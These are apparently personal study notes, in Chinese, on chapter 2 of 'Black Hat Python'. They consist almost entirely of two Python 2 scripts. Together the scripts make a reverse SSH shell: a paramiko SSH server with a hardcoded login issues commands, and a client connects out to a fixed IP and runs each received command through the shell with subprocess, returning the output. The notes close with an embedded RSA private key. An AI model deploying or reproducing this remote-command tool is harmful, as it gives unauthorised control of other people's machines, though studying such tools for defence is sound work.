Python黑帽子学习笔记-----第二章

# -*- coding:utf-8 -*-
import socket
import paramiko
import threading
import sys
import time

import logging
logging.basicConfig()

#paramiko.OPEN_SUCCEEDED
# 使用Patamiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')
#host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self,kind,chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
#return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self,username,password):
if(username == 'hugo') and (password == '123'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]  # ip
ssh_port = int(sys.argv[2]) # port

try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind((server,ssh_port))
sock.listen(100)
print('[+] Listening for connection ...')
client,addr = sock.accept()
except Exception,e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
print('[+] Got a connection!')

try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException,x:
print('[-]SSH negotiation failed.')
chan = bhSession.accept(20)
print('[+] Authenticated!')
#time.sleep(0.01)
#print(chan.recv[1024])
#chan.send('Welcome to bh_ssh')
while True:
try:
command = raw_input("Enter command:").strip('\n')
if command != 'exit':
chan.send(command)
print(chan.recv(1024) + '\n')
else:
chan.send('exit')
print('exiting')
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception,e:
print('[-] Caught exeption: ' + str(e))
try:
bhSession.close()
#bhSession.close()
except:
pass
sys.exit(1)

# -*- coding:utf-8 -*-
# bh_sshRcmd.py
import threading
import paramiko
import subprocess
import time

def ssh_command(ip, user, passwd,command, port = 8884):
client = paramiko.SSHClient()
# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥
client.connect(ip, port, username=user, password=passwd)  #连接
ssh_session = client.get_transport().open_session() #打开会话
if ssh_session.active:
#command = ssh_session.recv(1024)
ssh_session.send(command)   #执行命令
print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)
while True:
command = ssh_session.recv(1024)    #从ssh服务器获取命令
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(str(cmd_output))
except Exception, e:
ssh_session.send(str(e))
client.close()
return

port = int(raw_input("Please enter the port:"))
ssh_command('192.168.64.128','hugo','123','ClinetConnected',port)

-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz
oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/
d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB
gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0
EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon
soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H
tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU
avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA
4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g
H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv
qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV
HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc
nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7
-----END RSA PRIVATE KEY-----